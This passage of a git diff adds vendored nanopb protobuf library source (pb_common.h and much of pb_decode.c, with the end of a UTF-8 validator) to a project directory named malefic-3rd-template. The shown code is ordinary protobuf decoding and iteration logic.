0xf8) == 0xf0) + { + /* 11110XXX 10XXxxxx 10xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[3] & 0xc0) != 0x80 || + (s[0] == 0xf0 && (s[1] & 0xf0) == 0x80) || /* overlong? */ + (s[0] == 0xf4 && s[1] > 0x8f) || s[0] > 0xf4) /* > U+10FFFF? */ + return false; + else + s += 4; + } + else + { + return false; + } + } + + return true; +} + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.h b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.h new file mode 100644 index 0000000..58aa90f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.h @@ -0,0 +1,49 @@ +/* pb_common.h: Common support functions for pb_encode.c and pb_decode.c. + * These functions are rarely needed by applications directly. + */ + +#ifndef PB_COMMON_H_INCLUDED +#define PB_COMMON_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initialize the field iterator structure to beginning. + * Returns false if the message type is empty. */ +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message); + +/* Get a field iterator for extension field. */ +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension); + +/* Same as pb_field_iter_begin(), but for const message pointer. + * Note that the pointers in pb_field_iter_t will be non-const but shouldn't + * be written to when using these functions. */ +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message); +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension); + +/* Advance the iterator to the next field. + * Returns false when the iterator wraps back to the first field. */ +bool pb_field_iter_next(pb_field_iter_t *iter); + +/* Advance the iterator until it points at a field with the given tag. + * Returns false if no such field exists. */ +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag); + +/* Find a field with type PB_LTYPE_EXTENSION, or return false if not found. + * There can be only one extension range field per message. */ +bool pb_field_iter_find_extension(pb_field_iter_t *iter); + +#ifdef PB_VALIDATE_UTF8 +/* Validate UTF-8 text string */ +bool pb_validate_utf8(const char *s); +#endif + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.c b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.c new file mode 100644 index 0000000..b3f96fc --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.c @@ -0,0 +1,1728 @@ +/* pb_decode.c -- decode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +#include "pb.h" +#include "pb_decode.h" +#include "pb_common.h" + +/************************************** + * Declarations internal to this file * + **************************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof); +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size); +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn default_extension_decoder(pb_istream_t *stream, pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type); +static bool checkreturn decode_extension(pb_istream_t *stream, uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension); +static bool pb_field_set_to_default(pb_field_iter_t *field); +static bool pb_message_set_to_defaults(pb_field_iter_t *iter); +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_skip_varint(pb_istream_t *stream); +static bool checkreturn pb_skip_string(pb_istream_t *stream); + +#ifdef PB_ENABLE_MALLOC +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size); +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field); +static bool checkreturn pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field); +static void pb_release_single_field(pb_field_iter_t *field); +#endif + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +typedef struct { + uint32_t bitfield[(PB_MAX_REQUIRED_FIELDS + 31) / 32]; +} pb_fields_seen_t; + +/******************************* + * pb_istream_t implementation * + *******************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + const pb_byte_t *source = (const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + count; + + if (buf != NULL) + { + memcpy(buf, source, count * sizeof(pb_byte_t)); + } + + return true; +} + +bool checkreturn pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + if (count == 0) + return true; + +#ifndef PB_BUFFER_ONLY + if (buf == NULL && stream->callback != buf_read) + { + /* Skip input bytes */ + pb_byte_t tmp[16]; + while (count > 16) + { + if (!pb_read(stream, tmp, 16)) + return false; + + count -= 16; + } + + return pb_read(stream, tmp, count); + } +#endif + + if (stream->bytes_left < count) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!buf_read(stream, buf, count)) + return false; +#endif + + if (stream->bytes_left < count) + stream->bytes_left = 0; + else + stream->bytes_left -= count; + + return true; +} + +/* Read a single byte from input stream. buf may not be NULL. + * This is an optimization for the varint decoding. */ +static bool checkreturn pb_readbyte(pb_istream_t *stream, pb_byte_t *buf) +{ + if (stream->bytes_left == 0) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, 1)) + PB_RETURN_ERROR(stream, "io error"); +#else + *buf = *(const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + 1; +#endif + + stream->bytes_left--; + + return true; +} + +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen) +{ + pb_istream_t stream; + /* Cast away the const from buf without a compiler error. We are + * careful to use it only in a const manner in the callbacks. + */ + union { + void *state; + const void *c_state; + } state; +#ifdef PB_BUFFER_ONLY + stream.callback = NULL; +#else + stream.callback = &buf_read; +#endif + state.c_state = buf; + stream.state = state.state; + stream.bytes_left = msglen; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +/******************** + * Helper functions * + ********************/ + +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof) +{ + pb_byte_t byte; + uint32_t result; + + if (!pb_readbyte(stream, &byte)) + { + if (stream->bytes_left == 0) + { + if (eof) + { + *eof = true; + } + } + + return false; + } + + if ((byte & 0x80) == 0) + { + /* Quick case, 1 byte value */ + result = byte; + } + else + { + /* Multibyte case */ + uint_fast8_t bitpos = 7; + result = byte & 0x7F; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 32) + { + /* Note: The varint could have trailing 0x80 bytes, or 0xFF for negative. */ + pb_byte_t sign_extension = (bitpos < 63) ? 0xFF : 0x01; + bool valid_extension = ((byte & 0x7F) == 0x00 || + ((result >> 31) != 0 && byte == sign_extension)); + + if (bitpos >= 64 || !valid_extension) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + } + else if (bitpos == 28) + { + if ((byte & 0x70) != 0 && (byte & 0x78) != 0x78) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + result |= (uint32_t)(byte & 0x0F) << bitpos; + } + else + { + result |= (uint32_t)(byte & 0x7F) << bitpos; + } + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + } + + *dest = result; + return true; +} + +bool checkreturn pb_decode_varint32(pb_istream_t *stream, uint32_t *dest) +{ + return pb_decode_varint32_eof(stream, dest, NULL); +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_decode_varint(pb_istream_t *stream, uint64_t *dest) +{ + pb_byte_t byte; + uint_fast8_t bitpos = 0; + uint64_t result = 0; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 63 && (byte & 0xFE) != 0) + PB_RETURN_ERROR(stream, "varint overflow"); + + result |= (uint64_t)(byte & 0x7F) << bitpos; + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + + *dest = result; + return true; +} +#endif + +bool checkreturn pb_skip_varint(pb_istream_t *stream) +{ + pb_byte_t byte; + do + { + if (!pb_read(stream, &byte, 1)) + return false; + } while (byte & 0x80); + return true; +} + +bool checkreturn pb_skip_string(pb_istream_t *stream) +{ + uint32_t length; + if (!pb_decode_varint32(stream, &length)) + return false; + + if ((size_t)length != length) + { + PB_RETURN_ERROR(stream, "size too large"); + } + + return pb_read(stream, NULL, (size_t)length); +} + +bool checkreturn pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof) +{ + uint32_t temp; + *eof = false; + *wire_type = (pb_wire_type_t) 0; + *tag = 0; + + if (!pb_decode_varint32_eof(stream, &temp, eof)) + { + return false; + } + + *tag = temp >> 3; + *wire_type = (pb_wire_type_t)(temp & 7); + return true; +} + +bool checkreturn pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type) +{ + switch (wire_type) + { + case PB_WT_VARINT: return pb_skip_varint(stream); + case PB_WT_64BIT: return pb_read(stream, NULL, 8); + case PB_WT_STRING: return pb_skip_string(stream); + case PB_WT_32BIT: return pb_read(stream, NULL, 4); + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Read a raw value to buffer, for the purpose of passing it to callback as + * a substream. Size is maximum size on call, and actual size on return. + */ +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size) +{ + size_t max_size = *size; + switch (wire_type) + { + case PB_WT_VARINT: + *size = 0; + do + { + (*size)++; + if (*size > max_size) + PB_RETURN_ERROR(stream, "varint overflow"); + + if (!pb_read(stream, buf, 1)) + return false; + } while (*buf++ & 0x80); + return true; + + case PB_WT_64BIT: + *size = 8; + return pb_read(stream, buf, 8); + + case PB_WT_32BIT: + *size = 4; + return pb_read(stream, buf, 4); + + case PB_WT_STRING: + /* Calling read_raw_value with a PB_WT_STRING is an error. + * Explicitly handle this case and fallthrough to default to avoid + * compiler warnings. + */ + + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Decode string length from stream and return a substream with limited length. + * Remember to close the substream using pb_close_string_substream(). + */ +bool checkreturn pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + uint32_t size; + if (!pb_decode_varint32(stream, &size)) + return false; + + *substream = *stream; + if (substream->bytes_left < size) + PB_RETURN_ERROR(stream, "parent stream too short"); + + substream->bytes_left = (size_t)size; + stream->bytes_left -= (size_t)size; + return true; +} + +bool checkreturn pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + if (substream->bytes_left) { + if (!pb_read(substream, NULL, substream->bytes_left)) + return false; + } + + stream->state = substream->state; + +#ifndef PB_NO_ERRMSG + stream->errmsg = substream->errmsg; +#endif + return true; +} + +/************************* + * Decode a single field * + *************************/ + +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_varint(stream, field); + + case PB_LTYPE_FIXED32: + if (wire_type != PB_WT_32BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_decode_fixed32(stream, field->pData); + + case PB_LTYPE_FIXED64: + if (wire_type != PB_WT_64BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float)) + { + return pb_decode_double_as_float(stream, (float*)field->pData); + } +#endif + +#ifdef PB_WITHOUT_64BIT + PB_RETURN_ERROR(stream, "invalid data_size"); +#else + return pb_decode_fixed64(stream, field->pData); +#endif + + case PB_LTYPE_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bytes(stream, field); + + case PB_LTYPE_STRING: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_OPTIONAL: + if (field->pSize != NULL) + *(bool*)field->pSize = true; + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array */ + bool status = true; + pb_istream_t substream; + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left > 0 && *size < field->array_size) + { + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + (*size)++; + field->pData = (char*)field->pData + field->data_size; + } + + if (substream.bytes_left != 0) + PB_RETURN_ERROR(stream, "array overflow"); + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Repeated field */ + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if ((*size)++ >= field->array_size) + PB_RETURN_ERROR(stream, "array overflow"); + + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && + *(pb_size_t*)field->pSize != field->tag) + { + /* We memset to zero so that any callbacks are set to NULL. + * This is because the callbacks might otherwise have values + * from some other union field. + * If callbacks are needed inside oneof field, use .proto + * option submsg_callback to have a separate callback function + * that can set the fields before submessage is decoded. + * pb_dec_submessage() will set any default values. */ + memset(field->pData, 0, (size_t)field->data_size); + + /* Set default values for the submessage fields. */ + if (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL) + { + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + } + *(pb_size_t*)field->pSize = field->tag; + + return decode_basic_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +#ifdef PB_ENABLE_MALLOC +/* Allocate storage for the field and store the pointer at iter->pData. + * array_size is the number of entries to reserve in an array. + * Zero size is not allowed, use pb_free() for releasing. + */ +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size) +{ + void *ptr = *(void**)pData; + + if (data_size == 0 || array_size == 0) + PB_RETURN_ERROR(stream, "invalid size"); + +#ifdef __AVR__ + /* Workaround for AVR libc bug 53284: http://savannah.nongnu.org/bugs/?53284 + * Realloc to size of 1 byte can cause corruption of the malloc structures. + */ + if (data_size == 1 && array_size == 1) + { + data_size = 2; + } +#endif + + /* Check for multiplication overflows. + * This code avoids the costly division if the sizes are small enough. + * Multiplication is safe as long as only half of bits are set + * in either multiplicand. + */ + { + const size_t check_limit = (size_t)1 << (sizeof(size_t) * 4); + if (data_size >= check_limit || array_size >= check_limit) + { + const size_t size_max = (size_t)-1; + if (size_max / array_size < data_size) + { + PB_RETURN_ERROR(stream, "size too large"); + } + } + } + + /* Allocate new or expand previous allocation */ + /* Note: on failure the old pointer will remain in the structure, + * the message must be freed by caller also on error return. */ + ptr = pb_realloc(ptr, array_size * data_size); + if (ptr == NULL) + PB_RETURN_ERROR(stream, "realloc failed"); + + *(void**)pData = ptr; + return true; +} + +/* Clear a newly allocated item in case it contains a pointer, or is a submessage. */ +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + *(void**)pItem = NULL; + } + else if (PB_LTYPE_IS_SUBMSG(field->type)) + { + /* We memset to zero so that any callbacks are set to NULL. + * Default values will be set by pb_dec_submessage(). */ + memset(pItem, 0, field->data_size); + } +} +#endif + +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifndef PB_ENABLE_MALLOC + PB_UNUSED(wire_type); + PB_UNUSED(field); + PB_RETURN_ERROR(stream, "no malloc support"); +#else + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + case PB_HTYPE_OPTIONAL: + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && *(void**)field->pField != NULL) + { + /* Duplicate field, have to release the old allocation first. */ + /* FIXME: Does this work correctly for oneofs? */ + pb_release_single_field(field); + } + + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = field->tag; + } + + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + /* pb_dec_string and pb_dec_bytes handle allocation themselves */ + field->pData = field->pField; + return decode_basic_field(stream, wire_type, field); + } + else + { + if (!allocate_field(stream, field->pField, field->data_size, 1)) + return false; + + field->pData = *(void**)field->pField; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array, multiple items come in at once. */ + bool status = true; + pb_size_t *size = (pb_size_t*)field->pSize; + size_t allocated_size = *size; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left) + { + if (*size == PB_SIZE_MAX) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = "too many array entries"; +#endif + status = false; + break; + } + + if ((size_t)*size + 1 > allocated_size) + { + /* Allocate more storage. This tries to guess the + * number of remaining entries. Round the division + * upwards. */ + size_t remain = (substream.bytes_left - 1) / field->data_size + 1; + if (remain < PB_SIZE_MAX - allocated_size) + allocated_size += remain; + else + allocated_size += 1; + + if (!allocate_field(&substream, field->pField, field->data_size, allocated_size)) + { + status = false; + break; + } + } + + /* Decode the array entry */ + field->pData = *(char**)field->pField + field->data_size * (*size); + if (field->pData == NULL) + { + /* Shouldn't happen, but satisfies static analyzers */ + status = false; + break; + } + initialize_pointer_field(field->pData, field); + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + + (*size)++; + } + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Normal repeated field, i.e. only one item at a time. */ + pb_size_t *size = (pb_size_t*)field->pSize; + + if (*size == PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "too many array entries"); + + if (!allocate_field(stream, field->pField, field->data_size, (size_t)(*size + 1))) + return false; + + field->pData = *(char**)field->pField + field->data_size * (*size); + (*size)++; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +#endif +} + +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + if (!field->descriptor->field_callback) + return pb_skip_field(stream, wire_type); + + if (wire_type == PB_WT_STRING) + { + pb_istream_t substream; + size_t prev_bytes_left; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + do + { + prev_bytes_left = substream.bytes_left; + if (!field->descriptor->field_callback(&substream, NULL, field)) + { + PB_SET_ERROR(stream, substream.errmsg ? substream.errmsg : "callback failed"); + return false; + } + } while (substream.bytes_left > 0 && substream.bytes_left < prev_bytes_left); + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return true; + } + else + { + /* Copy the single scalar value to stack. + * This is required so that we can limit the stream length, + * which in turn allows to use same callback for packed and + * not-packed fields. */ + pb_istream_t substream; + pb_byte_t buffer[10]; + size_t size = sizeof(buffer); + + if (!read_raw_value(stream, wire_type, buffer, &size)) + return false; + substream = pb_istream_from_buffer(buffer, size); + + return field->descriptor->field_callback(&substream, NULL, field); + } +} + +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifdef PB_ENABLE_MALLOC + /* When decoding an oneof field, check if there is old data that must be + * released first. */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (!pb_release_union_field(stream, field)) + return false; + } +#endif + + switch (PB_ATYPE(field->type)) + { + case PB_ATYPE_STATIC: + return decode_static_field(stream, wire_type, field); + + case PB_ATYPE_POINTER: + return decode_pointer_field(stream, wire_type, field); + + case PB_ATYPE_CALLBACK: + return decode_callback_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_decoder(pb_istream_t *stream, + pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + if (iter.tag != tag || !iter.message) + return true; + + extension->found = true; + return decode_field(stream, wire_type, &iter); +} + +/* Try to decode an unknown field as an extension field. Tries each extension + * decoder in turn, until one of them handles the field or loop ends. */ +static bool checkreturn decode_extension(pb_istream_t *stream, + uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension) +{ + size_t pos = stream->bytes_left; + + while (extension != NULL && pos == stream->bytes_left) + { + bool status; + if (extension->type->decode) + status = extension->type->decode(stream, extension, tag, wire_type); + else + status = default_extension_decoder(stream, extension, tag, wire_type); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/* Initialize message fields to default values, recursively */ +static bool pb_field_set_to_default(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + pb_extension_t *ext = *(pb_extension_t* const *)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + ext->found = false; + if (!pb_message_set_to_defaults(&ext_iter)) + return false; + } + ext = ext->next; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + bool init_data = true; + if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Set has_field to false. Still initialize the optional field + * itself also. */ + *(bool*)field->pSize = false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* REPEATED: Set array count to 0, no need to initialize contents. + ONEOF: Set which_field to 0. */ + *(pb_size_t*)field->pSize = 0; + init_data = false; + } + + if (init_data) + { + if (PB_LTYPE_IS_SUBMSG(field->type) && + (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL)) + { + /* Initialize submessage to defaults. + * Only needed if it has default values + * or callback/submessage fields. */ + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + return false; + } + } + else + { + /* Initialize to zeros */ + memset(field->pData, 0, (size_t)field->data_size); + } + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL. */ + *(void**)field->pField = NULL; + + /* Initialize array count to 0. */ + if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = 0; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + /* Don't overwrite callback */ + } + + return true; +} + +static bool pb_message_set_to_defaults(pb_field_iter_t *iter) +{ + pb_istream_t defstream = PB_ISTREAM_EMPTY; + uint32_t tag = 0; + pb_wire_type_t wire_type = PB_WT_VARINT; + bool eof; + + if (iter->descriptor->default_value) + { + defstream = pb_istream_from_buffer(iter->descriptor->default_value, (size_t)-1); + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + } + + do + { + if (!pb_field_set_to_default(iter)) + return false; + + if (tag != 0 && iter->tag == tag) + { + /* We have a default value for this field in the defstream */ + if (!decode_field(&defstream, wire_type, iter)) + return false; + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + + if (iter->pSize) + *(bool*)iter->pSize = false; + } + } while (pb_field_iter_next(iter)); + + return true; +} + +/********************* + * Decode all fields * + *********************/ + +static bool checkreturn pb_decode_inner(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + uint32_t extension_range_start = 0; + pb_extension_t *extensions = NULL; + + /* 'fixed_count_field' and 'fixed_count_size' track position of a repeated fixed + * count field. This can only handle _one_ repeated fixed count field that + * is unpacked and unordered among other (non repeated fixed count) fields. + */ + pb_size_t fixed_count_field = PB_SIZE_MAX; + pb_size_t fixed_count_size = 0; + pb_size_t fixed_count_total_size = 0; + + pb_fields_seen_t fields_seen = {{0, 0}}; + const uint32_t allbits = ~(uint32_t)0; + pb_field_iter_t iter; + + if (pb_field_iter_begin(&iter, fields, dest_struct)) + { + if ((flags & PB_DECODE_NOINIT) == 0) + { + if (!pb_message_set_to_defaults(&iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + + while (stream->bytes_left) + { + uint32_t tag; + pb_wire_type_t wire_type; + bool eof; + + if (!pb_decode_tag(stream, &wire_type, &tag, &eof)) + { + if (eof) + break; + else + return false; + } + + if (tag == 0) + { + if (flags & PB_DECODE_NULLTERMINATED) + { + break; + } + else + { + PB_RETURN_ERROR(stream, "zero tag"); + } + } + + if (!pb_field_iter_find(&iter, tag) || PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* No match found, check if it matches an extension. */ + if (extension_range_start == 0) + { + if (pb_field_iter_find_extension(&iter)) + { + extensions = *(pb_extension_t* const *)iter.pData; + extension_range_start = iter.tag; + } + + if (!extensions) + { + extension_range_start = (uint32_t)-1; + } + } + + if (tag >= extension_range_start) + { + size_t pos = stream->bytes_left; + + if (!decode_extension(stream, tag, wire_type, extensions)) + return false; + + if (pos != stream->bytes_left) + { + /* The field was handled */ + continue; + } + } + + /* No match found, skip data */ + if (!pb_skip_field(stream, wire_type)) + return false; + continue; + } + + /* If a repeated fixed count field was found, get size from + * 'fixed_count_field' as there is no counter contained in the struct. + */ + if (PB_HTYPE(iter.type) == PB_HTYPE_REPEATED && iter.pSize == &iter.array_size) + { + if (fixed_count_field != iter.index) { + /* If the new fixed count field does not match the previous one, + * check that the previous one is NULL or that it finished + * receiving all the expected data. + */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + fixed_count_field = iter.index; + fixed_count_size = 0; + fixed_count_total_size = iter.array_size; + } + + iter.pSize = &fixed_count_size; + } + + if (PB_HTYPE(iter.type) == PB_HTYPE_REQUIRED + && iter.required_field_index < PB_MAX_REQUIRED_FIELDS) + { + uint32_t tmp = ((uint32_t)1 << (iter.required_field_index & 31)); + fields_seen.bitfield[iter.required_field_index >> 5] |= tmp; + } + + if (!decode_field(stream, wire_type, 